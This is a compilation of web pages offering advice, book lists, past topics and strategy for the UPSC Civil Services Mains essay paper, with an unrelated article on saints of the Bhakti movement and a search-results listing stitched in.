There should be continuity in your essay. Don’t jump from one point to another. Make your shifts seamless and smooth. Let there be a natural flow of points. This indicates clarity of thoughts.
It should contain quotes, headings, sub-headings and diagrams if required.
It should be structured appropriately.

Things to avoid in a UPSC essay question paper

Avoid writing in the first person.
Avoid being too aggressive in your writing. You want to portray an image of a composed person with balanced views. Aggressiveness can also show inflexibility.
Avoid being pessimistic in your writing. UPSC wants officers with a cheerful and positive disposition!
Avoid writing in points. Remember you are writing an essay.
You don’t have to agree with the stand taken by the question. Sometimes, a question can be a statement giving a particular view. You can write both negative and positive aspects of it.
Don’t stray away from the topic.
Don’t get too personal and name politicians or political parties unnecessarily. You are going to be a bureaucrat, not a politician or journalist!
Avoid giving quotes that you are not sure of. Don’t attribute quotes to the wrong people. And, definitely do not create your own quotes . You can’t fool the examiner. Doing so will certainly get you penalised.

You can write good essays if you develop the habit of reading good UPSC essays on a regular basis. Incorporate reading essays as a part of your UPSC civil services preparation. Also, do note that referring to UPSC previous year’s essay papers will help immensely. Remember, practice makes perfect!

For more on UPSC essay writing, read Useful technique to practice on essay topics for UPSC Civil Services Mains Exam .

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Essay – Civil Services Books – Mains Exam

Last updated on March 15, 2023 by Alex Andrews George

UPSC Civil Service Mains Paper 1 (popularly known as essay paper) is now of 250 marks.

Candidates may be required to write essays on multiple topics (two topics as of now). They will be expected to keep close to the subject of the essay to arrange their ideas in an orderly fashion and to write concisely.

Credit will be given for effective and exact expression.

Table of Contents

Recommended Books for Essay Paper – Civil Services Books – Mains Exam

Essays for Civil Services and Other Competitive Examinations by Pulkit Khare .
Selected Contemporary Essays by Saumitra Mohan (MHE)
Essay Paper for Civil Services Main Examination by Pavneet Singh and Sonali Bansal
A Book of Essays by Kalpana Rajaram
151 ESSAYS For UPSC Mains Various State Public Service Commissions and Other competitive Examinations
English-Hindi-Essay Compulsory- UPSC Mains Examination
ESSAYS(101 Current) for Competitive Exams

How to write a good essay

Here are some tips for writing a good essay:

Read and understand the essay topic: Ensure that you understand the topic and what is expected of you in the essay.
Plan and structure: Plan the flow of your essay and create an outline to ensure that your essay has a clear structure.
Write in a clear and concise manner: Make sure your writing is easy to understand and avoids unnecessary technical terms or jargon.
Use examples and evidence: Use real-life examples and supporting evidence to reinforce your arguments.
Address counter-arguments: Consider and address any counter-arguments to strengthen your essay.
Conclusion: Sum up your key arguments and present a clear conclusion.
Edit and proofread: Revise your essay several times to ensure that it is error-free and presents your ideas effectively.

Remember to write in a way that is analytical, evaluative and comprehensive. Also, ensure that you stick to the word limit and allocate enough time for each essay.

To get a detailed idea on how to write a good essay, click here

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UPSC : GUIDELINES ON ESSAY WRITING

Upsc : guidelines on essay writing .

An essay is a written exposition on a given subject which allows the writer to organize her/ his thoughts intellectually, and present them in a logical and coherent manner. Essay writing aids in critical reading and in developing written communication skill. It fosters a spirit of logical inquiry and an ability to identify significant aspects of any topic. It allows the writer to construct arguments supported by evidence.Essay is a critical examination of the issue which presents its various dimensions. All pertinent questions are raised and answered. The author is required to take a stand after examining all facts and facets and present it in a convincing and well thought out manner. The objective of an essay is to convey the author’s thoughts on the topic s/he sets out to examine. A well written essay can shed new light on the subject and add significantly to the existing body of knowledge.

Theme and Topic:

1. National Security: Threats to National Security in Coming Decade 2. National Integration and Communal Harmony : Science and Technology as a promoter of Communal harmony in the Society 3. Human Rights : Nationalism, Globalisation and Humanitarian Crisis-The paradox of our times 4. Science and Human Development : Nurturing Scientific Temper in India: Challenges and Prospects


			40
			20
			10
		Originality	10
		Adherence to word limit	10
		Overall impact of the Essay	10

Note: 100 marks will have a weightage of 10 marks in Director’s assessment. Style: Every individual has a style of expression and word usage. It becomes very clear to the reader when an essayist cobbles up random quotes from various sources since there is no consistency in style. Use of short and simple sentences is preferable. It is better to spread out complex/compound sentences. Flowery language and archaic use puts off readers and more often does not communicate the meaning at all. Word / phrase usage should be appropriate. Refer to get the correct meaning and the context of usage of words, whenever in doubt. Usually essays are written in third person singular. However, narrative in the first person can be adopted if you have a flair for it. Avoid use of words which convey vagueness or uncertainty. Avoid repetitive use of words. (Example –but, therefore, supposedly, as they say, not only but also, used to etc.) Lay out: Every essay has the following layout1. Introduction 2. Body /Discussion 3. Conclusion Plan the word limit for each of these sections. As you research the topic, it is useful to take notes with relevant references and later on arrange them in logical sequence.

Introduction generates interest in the topic. A statement, a quotation or an incident can be used to open an essay. The body contains review of available literature, raises pertinent issues or questions, presents them in the context, and sheds light on the views of the author and the thought process that leads her/him to those views. Every idea is presented in one or more separate paragraphs arranged in logical sequence. When there is a need to reiterate an idea already discussed, it can be mentioned in detail. While reinforcement of a line of thought may need reiteration, try and reduce redundancy. Pay attention to Grammar and spelling. The conclusion of an Essay is more than just a summary. It gives a comprehensive idea of what has been discussed and the settled thoughts of the author after due inquiry.

Referencing: Same guidelines to be followed as given for the Book review. Foot notes:

Foot notes can be given wherever relevant. Care should be taken that they are short and never longer than the main text on the page. Plagiarism: Plagiarism is strictly prohibited. The Essay has to be put through Turn it in Software before submission. More than 10% of commonality will attract penal action and the essay will be marked zero.The entire activity of Essay writing should result in knowledge and skill enhancement to the writer. A good essay gives a comprehensive idea of the topic and makes for an interesting reading. Suggested References: Booth, Wayne C., Gregory G. Colomb, Joseph M Williams, (2008) The Craft of Research, University of Chicago Press: Chicago

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How to Write a Good Essay in UPSC Mains, Explained

Note: My book, Fundamentals of Essay and Answer Writing is an Amazon bestseller. Since its release, the book helped countless candidates master the art of crafting exceptional essays and answers and elevate their performance in the UPSC Mains Exam. You can know about the book here.

Novelist Stephen King put it beautifully when he said, “I write to find out what I think.”

What follows is an elaborate post on how you should tackle the Essay paper. I’ve organised the content as follows:

What UPSC says about the essay paper

How and from where to prepare?

Improving language and expression

On subheadings and rough drafts
What you must avoid
How to write a powerful introduction?
Developing the content of an Essay

Substantiating your arguments

How to conclude an Essay
My notes, quote collection and sample essays

Essay distinguishes itself from GS in the sense that in GS, marks will be awarded purely for content. But in essay, examiners will pay special attention to not just the content, but also the language, coherence and the way you organise your write-up. So you must take adequate care to arrange your ideas properly and not commit any fundamental spelling or grammatical errors.

How and from where to prepare? Most of the content you write in Essay will come from your GS preparation. Apart from this, the following sources will help:

Reading non-fiction helps you develop a matured thought process. Apart from imparting knowledge, they will also let you come across good figures of speech, art of argumentation, powerful rhetoric and unique content etc. For example, in an essay on Artificial Intelligence, I took arguments from Yuval Harari’s Homo Deus to argue that AI is an imminent threat to humanity. Or if you read Why Nations Fail, a book replete with examples, you will understand the importance of innovation, political and economic freedoms in propelling a nation forward. So my suggestion is, apart from UPSC related material, develop the hobby of reading non-fiction books. I do not mean to suggest that you should start reading one non-fiction book per topic to get good scores in Essay, but reading them occasionally in your free time will benefit you in the long run.
Referring to specific magazines: For certain topics, you can refer to specific issues of Yojana/EPW/Economic Survey etc. Example: for an essay on tribal issues or public health, you can go through specific issues of these magazines for getting the latest statistics (IMR, MMR, malnutrition levels etc) and also about the positives and criticisms of govt schemes in that sector.
Collecting good stories/anecdotes and quotes: Anecdotes, quotes and real life stories you see in newspapers and books which can be used in essay should be noted down. In most of my essays, I used to start with a relevant story or an anecdote that has the essay topic as its underlying theme. Apart from these, I also used a couple of quotes of eminent persons.
List of quotes, anecdotes I collected are available in the link at the end of this article.

Example of a bad sentence sprawl :

By the time readers finish reading it, they will lose their breath and the point of the sentence. So I had a simple rule: If you run out of your breath while reading a sentence, then probably you will have to break it into two.

Rewriting the aforementioned example after breaking it into two (which makes it much easier to read and comprehend):

There is no need to memorise complex words for writing a good essay. But an occasional use of a powerful word, or a good phrase definitely gives your write-up an edge.

Building vocabulary is a slow process, but with consistency, anyone can become better at using an expansive set of words.

Subheadings & Rough Drafts

You can find my collection of a few such subheadings in the link to my notes, given at the end of the article.

I also prepared a rough draft for a few essay topics (link given at the end). You may need to modify the structure as per the demand of the question.

What you must avoid in Essay

Do not focus excessively only on one point, or one dimension (such as the historical or political aspect) Your essay needs to be expansive and multi-dimensional.
During preparation, we read a lot and it’s understandable that we feel strongly about certain topics. And since essay offers freedom to write, it’s very easy to get carried away with such a topic. But make sure that you write what is asked, not what you know or feel like. No mann ki baat . Always stick to the subject of the topic. It helps to read the question in the midst of your essay to ensure that you are not steering away from the topic.
If you are not comfortable writing about abstract philosophical topics (I am terrible at writing them), avoid such questions. Your choice of topic has no bearing on the marks and that is why, selecting an unpopular topic just for the sake of it is unwise. Also, if there’s a technical term in the question, be doubly sure that you understand it correctly. For instance, in 2014, there was a question on ‘standard tests’, which is a technical term. I misunderstood it and wrote a generic essay. I got 112.
When you take a final stand on an issue, it’s best to avoid extreme or highly unpopular opinions. We are free to have any opinion in the privacy of our minds, but in UPSC essay why take that risk? For instance, in an essay on Capital Punishment, in the main body content, you should present a case for both abolition and retention. But when you take a stance, it’s best to be an abolitionist.
No ranting. You might be a great fan of Karl Marx, but if there’s a question on Capitalism, do not rant or rail against it 🙂 You must present both the positives and negatives of Capitalism and end the essay on a balanced note.
Do not dedicate disproportionate amount of time for the first essay and scamper through the second. Both carry equal marks, so please invest equal time.

How to transition smoothly from one para to the next

This can be done in three ways.

Through a link sentence at the end of a para :

Through a question:

Signalling the shift at the start of next paragraph:

These steps will ensure that the transition between paragraphs is not abrupt.

How to write a good Introduction to your Essay?

Essay introduction can be:

a fictitious incident or story (where you introduce a character); a real life anecdote; a quote; or a simple definition of the words in the question (not recommended in Essay)

In my Mains exam, this was my introduction to the essay ‘Destiny of a nation is shaped in its classroom’

“The year was 1945. Towards the end of a gruesome world war, the world powers decided to carve up the Korean peninsula along the 38th parallel.

“This only proves the age old adage that the destiny of a nation is indeed shaped in its classrooms.”

These real life stories, anecdotes and incidents are everywhere in our books and newspapers. So when you come across them, note down and ponder as to how you can use them in your essay.

Developing the Main Content from the Topic

This is like spinning the web from a thread. Depending on the topic, you can choose among the following options that fits best.

Temporal : Past, present and future
Sectoral: Media, Science & Tech, Business, Sports, Religion, Politics, Administration etc
Walks of Life : Individual, Family, Professional workplace, Society, Community, National, Global
Problem & Solution: Concept (historical evolution+status), benefits, problems, solutions
Standard : Social, Political, Economical, Administrative, International, Environmental, Historical, Scientific, Security/Defence, Legal

Example: for a topic like “Has Globalisation delivered on its promise?” I find the problem & solution method an apt way to develop your narrative. So choose as per the question.

In the main body of the essay, each para must have an argument or an idea and a reasoning to back that argument. You can substantiate it through a real-life example, a statistic, an authentic committee or organisational report etc.

Statistics, examples, expert opinions and constitutional provisions are crucial and they make your arguments authoritative.

Concluding an Essay

Conclusion needs to be on a futuristic, optimistic note. You need to summarise the complete essay in 3-4 sentences, after which you can write your vision for future.

You can source some useful terms from the speeches of PM Modi. Phrases like Sabka saath sabka vikas , Reform-Perform-Transform, Building A New India etc can come handy. Rhetoric, lofty expressions, constitutional ideals, Sanskrit slokas and quotes are a good way to conclude your essay.

Readers should keep in mind that these notes are written rather haphazardly (I mean who makes notes thinking that in future, they might have to make them public :D) They are fragmented in certain parts and illegible at others, so you may not be able to comprehend them completely. But nevertheless, I hope you take home something useful.

Link to handwritten notes: https://drive.google.com/open?id=1jmVMGOzAk2d9B5Y0HQ9XpVF5Mh2IXGku

Quote collection: https://drive.google.com/open?id=1jk71jLao60hHwJoTuGYaIDgJWccxa5Xn

List of Topics one needs to prepare:

https://drive.google.com/open?id=1q0W0PeH-80EKt6ucJTFOVPUlmXvCIzd-

Sample Essay: https://drive.google.com/open?id=1jqfUi1FXdG0icBdJpdQvwH1wlAizCMvo

267 thoughts on “ How to Write a Good Essay in UPSC Mains, Explained ”

Sir can I start essay with poem and some kind of doha and little quawalis and all and afterward explaining the topic whether it is philosophical and static. Please suggest me sir . And thank you so much for your great effort for us.

Sir, if someone has a good knowledge of more than one given topic, how should he decide on the subject to write about?

Sr plz suggest book list for non fictional for essay and read in free time.

The way you wrote the introduction for “The destiny of nations is shaped in the classrooms”, perhaps is at par with some of the greatest writers whom I have read. I never follow toppers Sir, but after reading this blog of yours, I have become a true fan of yours 🙃. Hope to meet you after getting into the service sir.

Your essay guide is exemplary, not for just IAS aspirants but for all , those who wish to excel in academic journey. Thank you

Sir please recommend some non fiction books sir to study .

Thank you sir..☺️

UPSC Essay Topics - Important Essay Topics for UPSC Mains 2023

by Vajiram & Ravi

Essay Course for UPSC

UPSC CSE Mains 2023 Essay Question Paper

UPSC Mains Optional Test Series

Mentorship Program for UPSC 2024

Understanding UPSC Essay Topics holds significant importance as it evaluates the candidate's ability to analyse, present arguments, and communicate effectively. In this article, we will explore the diverse range of UPSC essay topics, their significance, and essential tips to excel in this section. Get ready to enhance your writing and analytical skills and make a strong impression on the evaluators with well-crafted essays.

UPSC Essay Paper

The Essay paper in the UPSC Mains examination requires candidates to write multiple essays , each on a different topic, chosen from a given list of options. The essay topics for UPSC cover a wide range of issues, including social, economic, political, cultural, and philosophical aspects, both national and international.

The essay paper holds significant weightage in the UPSC Mains examination, contributing 250 marks out of the total 1750 marks . Scoring well in this section can have a considerable impact on the overall ranking and selection for the coveted civil services.

Weekly UPSC Essay Topics By Vajiram & Ravi

The UPSC Essay Paper is an opportunity for candidates to demonstrate their proficiency in expressing ideas and analysing complex issues. Vajiram & Ravi Pensive-Weekly Essay Writing Programme provides you with two Essay Topics every Saturday based on the previous year's question papers and the changing trends analysis. You can submit your Essay for peer evaluation on vajiramandravi.com. This will help you nourish your writing skills, give you clarity of thought, and build the capacity to express opinions in a logical and coherent manner.

Important Essay Topics for UPSC 2023

The purpose of the essay paper is to assess the candidate's ability to critically analyse a topic, present well-structured arguments, and communicate their ideas effectively. It also evaluates their knowledge of various issues, their clarity of thought, and their capacity to express opinions in a logical and coherent manner.

Some of the Important Essay Topics to prepare for the UPSC Mains Examination 2023 are:

Gender Equality
Environment/Urbanization
Economic Growth
Federalism/Decentralization
Agriculture
Economics

UPSC Essay Topics on Philosophy

Every year, UPSC typically provides you with two or more essay topics centred around philosophical thoughts, Indian philosophical schools, or quotes from notable personalities. To effectively address these philosophical topics, you should refer to Philosophy Books to gain a foundational understanding. Here is a list of UPSC Essay Topics on Philosophy :

Everything comes to him, who hustles while he waits.
We are always blind as we want to be.
You cannot step twice in the same river.
A disciplined mind brings happiness.
The price of Greatness is Responsibility.
People would rather Believe than Know.
Mind - A beautiful Servant? Or a dangerous Master?

UPSC Essay Topics on Art and Culture

The UPSC Essay Topics related to Indian society, art, and culture cover a wide range of subjects, offering great diversity. To gain knowledge about the static content on these topics, you should rely on fundamental books on society, as recommended for the exam. Here is a list of UPSC Essay Topics on Indian Art and Culture :

Culture changes with economic development.
Culture is what we are, Civilization is what we have.
Social reform is a myth if places of worship are open only to all castes and not to all genders.
Impact of Globalization on Indian Art and Culture.
Caste System - India’s Enduring Curse.
Godmen - A Threat to Indian Art and Culture?

UPSC Essay Topics on Science and Technology

UPSC essay topics on Science and Technology can largely be addressed through current affairs. You may also benefit from consulting a Science and Technology Book for UPSC to compose a comprehensive and well-rounded essay. Here are some UPSC Essay Topics on Science and Technology:

Deglobalisation is good for the world.
Science is organised Knowledge. Wisdom is Organised life.
Technology is a Weapon against Poverty.
Prioritising Education Technology for Global Growth.
Technology is the silent factor in International Relations.
Scientific and Technological Progress cannot be equated with Human Progress.

UPSC Essay Topics on Education

Education stands as one of the preferred UPSC Essay Topics, with an essay related to this subject often appearing in the paper each year. To tackle this topic effectively, you should stay abreast of Current Affairs , incorporating significant changes and advancements in the field. Let's explore some of the Essay topics for UPSC centred around education:

Self Education is a lifelong curiosity.
Education Breeds Peace.
Education is a progressive discovery of our own ignorance.
Education must also train one for quick, resolute and effective thinking.
Schooling is not Education.

UPSC Essay Topics on Polity and Governance

To comprehensively address Polity and Governance topics, you should acquire fundamental knowledge from Polity Books for UPSC and Current Affairs. These resources offer static information about relevant issues and their historical context, which proves valuable while writing UPSC Essay Topics on Polity. Here are some Essay Topics on Polity and Governance:

The Role of Politics in Development.
Should Youth in India Consider Politics as a Career?
Art, Freedom and Creativity will change society faster than politics.
The politics of Identity is the Politics of the Weak.
People should not be afraid of their Government. The Government should be afraid of its people.
Government Surveillance - Good or Bad?

UPSC Essay Topics on Economy

Essays concerning economic growth are frequently included in the Essay Paper. To tackle these topics effectively, you should refer to Economy Notes for UPSC to gain a comprehensive understanding. Once the fundamentals are grasped, you can enhance their essays by incorporating examples, data, and statistics to create a multidimensional perspective. Here is a list of UPSC Essay Topics on Economy:

We don't have to sacrifice a Strong Economy for a Healthy Environment.
India, a $5 trillion Economy - Dream or Reality?
Digital Economy: A leveller or a source of Economic Inequality?
Innovation is the key determinant of social welfare and economic growth.
Labour Reforms in India and its Role in Economic Growth.

UPSC Essay Topics on Social Issues

Social issues are a significant aspect of the UPSC essay paper, reflecting the candidates' understanding of societal challenges and their ability to propose viable solutions. These essays provide a platform for candidates to analyse, critique, and suggest measures for pressing social concerns. Topics related to social issues in the UPSC Essay paper may include:

Inclusivity and Plurality are the hallmarks of a Peaceful Society.
A Gender-sensitive Indian Society is a prerequisite for Women and Child Empowerment.
The weaker sections of Indian Society - are their Rights and Access to Justice getting Better?

Previous Year UPSC Essay Topics

Practising previous year's essay topics will help you become familiar with the UPSC exam pattern , word limit, and the types of essay questions frequently asked in the Mains Examination. Analysing past essay topics will also allow you to identify recurring themes and trends, enabling you to prioritise their preparation accordingly. Regular practice with past essay topics will instil confidence in you, helping you feel more comfortable and prepared for the actual exam.

Forests are the best case studies for economic excellence.
Poets are the unacknowledged legislators of the world.
History is a series of victories won by the scientific man over the romantic man.
A ship in the harbour is safe, but that is not what a ship is for.
The time to repair the roof is when the sun is shining.
A smile is the chosen vehicle for all ambiguities.
Just because you have a choice, it does not mean that any of them has to be right.

Tips to Excel in UPSC Essay Paper

Understand the Topics: Thoroughly comprehend the essay topics, including the keywords and instructions. Choose a topic that aligns with your strengths and interests.
Plan and Structure: Devote some time to plan your essay. Create an outline and organise your thoughts in a structured manner, with a clear introduction, body, and conclusion.
Be Objective: Present balanced arguments and avoid a biased or one-sided approach. Consider multiple perspectives and present a holistic view.
Provide Examples and Evidence: Support your arguments with relevant examples, data, quotes and evidence to strengthen your essay.
Maintain Clarity: Write in a clear and concise manner. Use simple language and avoid jargon or overly complex vocabulary.
Practice Regularly: Regular practice is essential to improve Essay writing skills. Write essays on diverse topics to enhance your versatility.
Time Management: Allocate appropriate time for planning, writing, and revising each essay to manage time effectively during the examination.
Revise and Edit: Review your essays for coherence, grammar, and structure. Make necessary edits to refine your work.

FAQs on UPSC Essay Topics

What are the important UPSC Essay Topics?

Here is a list of UPSC Essay Topics asked in Mains Examination previously:

Culture is what we are, civilization is what we have.
Simplicity is the ultimate sophistication.
What is research but a blind date with knowledge?
Best for an individual is not necessarily best for society.
Wisdom finds truth.
Ships don’t sink because of water around them, ships sink because of water that gets into them.
Patriarchy is the least noticed yet the most significant structure of social inequality.
Technology as the silent factor in international relations.

How do I Prepare for the UPSC Essay?

To prepare for the UPSC essay, focus on understanding the essay syllabus and past topics to identify recurring themes. Regularly practise writing essays on various topics to improve your writing skills and time management. Structure your essays with a clear introduction, main body, and conclusion.

Which is the best source to practise UPSC Essay Topics?

The best sources to prepare Essay for UPSC include official UPSC materials, newspapers, and magazines like The Hindu, Yojana , and Kurukshetra for current affairs, standard books on diverse subjects, government reports and publications, online platforms like PIB and PRS India, UPSC previous year papers for understanding the exam pattern, and regular practice of essay writing on various topics.

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Saints of Bhakti Movement: UPSC Art And Culture Notes

Updated on
Aug 21, 2024

‘Bhakti’ means devotion to the supreme being. Bhakti is found in a variety of practices, faiths, and movements. Many saints participated in and contributed to the Bhakti movement. These saints promoted devotion to God, regardless of caste or background. In this section, we shall discuss the saints of the Bhakti Movement who inspired the movement’s goals through their actions. Learning about the saints of the Bhakti Movement can help you understand more about these personalities. Questions related to this subject can also appear in competitive exams such as UPSC , SSC and EPFO . So, if you want to enhance your knowledge about India’s religious history, then this blog is for you!

Table of Contents

1.1 Alvaras
1.2 Nayanar
2.1 Kabirdas
2.2 Ravidas
2.4 Ramananda
2.5 Mirabai
2.6 Tulsidas
2.8 Chaitanya Mahaprabhu
2.10 Dnyaneshwar

Saints of South Bhakti Movement

The Bhakti movement originated primarily in South India among Alvaras and Nayanars . Alvaras are devotees of Lord Vishnu, whereas Nayanars are devotees of Lord Shiva. We’ve talked about them in depth below.

The Alvars were Tamil poet-saints who worshipped Lord Vishnu. There were 12 Alvaras who lived between the 6th and 9th centuries. They wrote hymns in praise of Vishnu and later compiled the Divya Prabandham. The following are some of the notable alvaras.

Nammalvar : He is regarded as the first Alavar, with content deeply rooted in devotion to Vishnu.
Andal: Andal is the only female Alvara who composed Tiruppavai and Nachiyar Tirumozhi to convey devotion to Lord Vishnu. She is regarded as a symbol of divine love and devotion.
Periyalvar: Periyalvar is Andal’s foster father, and his writings primarily praised Lord Vishnu’s childhood.

Saints of North Bakti Movement

The Northern Bhakti Movement was influenced by the spread of Islam in India. The Bhakti movement was heavily influenced by Islam’s core values of brotherhood, belief in a single god, and rejection of the caste system. We have included some of the most prominent saints of the North Bhakti movement.

Kabir was a known saint of the Bhakti Movement. He was born into a Muslim family, yet his teachings extended beyond religious borders. His verses are known as ‘Kabir ke Dohe’.

Kabir’s poems frequently criticized the ritual traditions of Hinduism and Islam.
He encouraged a direct and personal relationship with the divine.
His message of love and unity continues to spread across India, despite religious and cultural differences.

Ravidas was a saint and poet from an untouchable caste. He is honored in both Hinduism and Sikhism. Ravidas hymns promote equality for everybody by opposing the caste system and social discrimination.

His devotional hymns are included in Sikhism’s holy scripture, the Guru Granth Sahib.
Ravidas’s teachings inspired many Bhakti poet-saints, such as Mirabai, who considered him her guru.

Also Read: Bhakti and Sufi Movement: Differences and Similarities

Surdas was a blind poet-saint and devoted follower of Shri Krishna. His composition, known as the Sur Sagar, celebrates Krishna’s life and his relationship with Radha.

Surdas’ poetry is primarily filled with emotional intensity.
Surads were part of the Vallabha Sampradaya, which was formed by Vallabhacharya.
His work had a long-lasting impact on the spiritual and cultural life of northern India.

Ramananda is an important person in the northern Bhakti movement and a devotee of Lord Rama. He follows the Sri Vaishnava tradition.

Ramananda established his own school that was more inclusive of all backgrounds and communities.
Famous saints like Kabir and Ravidas were among his students.

Mirabai was a Rajput princess and a devotee of Lord Krishna. She is one of the most recognized female saints in the Bhakti Movement. She is well-known for her poetry and songs about Krishna.

Mirabai is known for her opposition to her role as a woman and a widow.
Her compositions, known as Bhajans, reflected her love and devotion for Krishna.
Mirabai’s legacy continues to inspire millions of devotees and artists.

Tulsidas was a poet-saint known for his book, Ramcharitmanas. Tulsidas’ Ramayana is one of Hinduism’s most beloved works of literature.

Tulsidas praised Rama as the ideal god.
His works had a significant impact on Hindu practices and ceremonies.

Namdev was a saint-poet from Maharashtra who worshipped Lord Vithoba (a form of Krishna). Namdev hymns were usually written in Marathi and Hindi. These hymns are known for their simplicity and devotion.

He traveled throughout India, spreading the message of devotion.
Namdev’s compositions are also found in the Guru Granth Sahib.
His teachings continue to influence the Varkari movement, which is a Maharashtra tradition.

Chaitanya Mahaprabhu

Chaitanya Mahaprabhu was a Bengali saint who founded the Gaudiya Vaishnavism tradition. He was a Krishna devotee, and his followers believed him to be an incarnation of Krishna.

His teachings had a significant impact on the Bhakti movement in Bengal.
Chaintanya’s movement valued the chanting of Krishna’s name, ‘Hare Krishna,’ as a way of achieving spiritual freedom.
His devotees continue to promote his teachings through the International Society for Krishna Consciousness (ISKCON).

Eknath was a Marathi saint and scholar who made major contributions to the Varkari tradition and Marathi literature.

During the decline, he revived the Bhakti movement in Maharashtra.
The Eknathi Bhagavata, or Bhagavata Purana in Marathi, is Eknath’s most well-known literature.
Eknath highlighted the importance of chanting the name of God.
His teachings and literature have had a lasting impact on Maharashtra’s spiritual and cultural life.

Dnyaneshwar

Dnyaneshwar is also known as Jnanadeva. He was a Marathi saint and poet from the Nath tradition. He is primarily known for his Marathi-language version of the Bhagavad Gita, Dnyaneshwari.

His effort made the teachings of the Gita accessible to common individuals in their native language.
Dnyaneshwar’s teachings highlight the value of devotion.

The saints of the Bhakti Movement had a lasting impact on Indian spirituality, culture, and society. Their teachings questioned traditional norms and made religious teachings available to everyone. All of these saints’ works are still celebrated throughout the country.

The Bhakti Movement was a major religious and social movement in mediaeval India that highlighted devotion to a particular god as a means of liberation. This movement emerged between the 7th and 12th centuries and peaked between the 15th and the 17th centuries.

The Bhakti movement originated primarily in South India by Alvaras and Nayanars.

This was all about the “ Saints of Bhakti Movement ”. For more such informative blogs, check out our UPSC Exams Section and Study Material Section , or you can learn more about us by visiting our Indian exams page.

Agrima Didwania

Passion turned profession perfectly defines me. With an affection for writing, I've transformed my zeal into a fulfilling career where each word I craft, amazes me. Writing isn't just a skill; it's my lifeline, allowing me to heal and forge deeper connections with others. The journey of words is something that keeps me alive.

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How to write a good essay in upsc mains
How To Write Essay for UPSC
How To Write Essay for UPSC
English essay writing for upsc
how to write essay in english for upsc exam
7 Easy Steps on Essay Writing for UPSC Mains Exam

COMMENTS

Essay Writing for Civil Services Examination
For the CSE essay paper, two essays have to be written under 3 hours in the 1000-1200 word limit. Each essay carries 125 marks for a total of 250. The essay paper is divided into two sections - A and B, each carrying a choice of 4 essays each, and the aspirant has to choose only one essay from each section.
ESSAY STRATEGY By Anudeep Durishetty, UPSC Civil Services ...
My notes, quote collection and sample essays What UPSC says about the essay paper "Candidates may be required to write essays on multiple topics. They will be expected to keep closely to the subject of the essay, to arrange their ideas in an orderly fashion, and to write concisely.
How to Write Essay in UPSC Exam
The Essay Paper is one of the nine papers in the UPSC civil services mains exam. In this paper, you will have to write two essays, each with a word count of 1000-1200. One topic can be selected from a choice of four topics. The Essay Paper is for a total of 250 marks, with one essay for 125 marks.
7 Easy Steps on Essay Writing for UPSC Mains Exam
Some important tips to make your Essay worthy. Once you have recalled, collected and noted the points then the next step is to structure it as given below: Introduction. Background/past example. Main concept/theory. Correlate with current event. Advantages and disadvantages. Suggested Changes. Conclusion.
Essay Writing for UPSC
Essay Writing for UPSC. The UPSC Mains Examination comprises a total of nine papers, inclusive of an essay paper. The Essay Paper is categorised into sections A and B, each containing four topics. These topics hold a value of 125 marks each, thereby totalling 250 marks (125×2). Candidates are required to choose one topic from each section and ...
WEEKLY UPSC IAS ESSAY WRITING CHALLENGE
WEEKLY UPSC IAS ESSAY WRITING CHALLENGES - 2022. December 25, 2022 : To tolerate is purely an act of mind. December 18, 2022 : The arc of moral universe is long, but it bends towards justice. December 11, 2022 : Religion is a culture of faith; Science is a culture of doubt.
UPSC Essay Writing: How to Write a Perfect and Balanced Essay
A Candidate writing an essay for Civil Service Examination should keep in mind that he has to satisfy the examiner with regard to 3 things: He has good ideas on given subject / chosen field. He can arrange his ideas systematically. He can express, and analyze his opinion correctly using good language.
Writing a good Essay in UPSC Mains, Explained by Anudeep Durishetty
But in essay, they are rather stale, lacking in any human element. I always believe that a good way to start your essay is to have that touch of humanity and warmth in your introduction. In my Mains exam, this was my introduction to the essay 'Destiny of a nation is shaped in its classroom'. "The year was 1945.
Essay Syllabus
UPSC Civil Service Mains Paper 1 (popularly known as essay paper) is now of 250 marks. Candidates may be required to write essays on multiple topics. They will be expected to keep close to the subject of the essay to arrange their ideas in orderly fashion, and to write concisely. Credit will be given for effective and exact expression.
How To Write An Essay For UPSC
In broader terms, the essay paper in UPSC mains is divided into two sections i.e. section A & section B. Each section also comprises four UPSC essay topics with a maximum mark of 125 each. Out of these, candidates need to choose one topic from each of the sections and write two UPSC essay papers in about 1000-1200 words each. Thus, it is ...
Essay Writing for UPSC: Books, Syllabus, How to Write Essay?
Essay Writing for UPSC: Candidates preparing for the 2023 Civil Services exam must be well versed in Essay Writing for UPSC as it is an important paper in the Mains exam.In the UPSC essay paper, 2 essays have to be written in 3 hours of time.Each essay carries 125 marks in total, which makes this paper worth 250 marks. The word limit for each essay is 1000 to 1200 words.
How To Write A Good Essay In Civil Service Mains Exam?
Also read: ClearIAS launches Essay Writing Course for UPSC. Understanding Essay Paper in IAS Exam. 250 marks out of 2025 (12.3 %) are the weight-age of essay paper on total Civil Services Mains Marks as per the latest UPSC syllabus. Since 2015, candidates have been asked to write two essays out of 8 choices. Each essay is for 125 marks (1000 ...
6 Easy Steps On Essay Writing For UPSC Mains Exam 2024
Step 3: Use Good & Expressive Language. Let's check what UPSC has to write officially about Essays -. "Candidates may be required to write essays on multiple topics. They will be expected to keep close to the subject of the essay, arrange their ideas in an orderly fashion, and write concisely.
UPSC Essays Simplified: Understanding and Deconstructing the Essay
How to write essays for UPSC Civil Services Exams? This is one of the most popular questions among aspirants. In UPSC Essentials' special series ' UPSC Essays Simplified ', we take you through various steps of writing a good essay. While there is no set formula or fixed criteria prescribed, Manas Srivastava talks to Ravi Kapoor, our expert, in this new series who guides the aspirants ...
UPSC ESSAY STRATEGY: How to Write an Essay!
As far as essay is concerned, DO NOT write in points. Once in a blue moon, candidates might have scored good marks by following this approach but that is an exception and not the rule. Respect UPSC and don't do anything foolish. Use quotes selectively and wisely. Not using a quote is way better than using it wrongly.
How to Write the Essay Paper for UPSC Civil Services Preparation
Make your shifts seamless and smooth. Let there be a natural flow of points. This indicates clarity of thoughts. It should contain quotes, headings, sub-headings and diagrams if required. It should be structured appropriately. Things to avoid in a UPSC essay question paper. Avoid writing in the first person.
Essay
Selected Contemporary Essays by Saumitra Mohan (MHE) Essay Paper for Civil Services Main Examination by Pavneet Singh and Sonali Bansal. A Book of Essays by Kalpana Rajaram. 151 ESSAYS For UPSC Mains Various State Public Service Commissions and Other competitive Examinations. English-Hindi-Essay Compulsory- UPSC Mains Examination.
PDF Drishti Publications
The style, presentation and content of essays vary as per the purpose and targeted audience. Essay writing is an important component of various competitive examinations. However, we will focus our strategy on the kind of essay which is to be written in the Essay paper of the Civil Services Main Examination conducted by the UPSC.
UPSC Essays Simplified
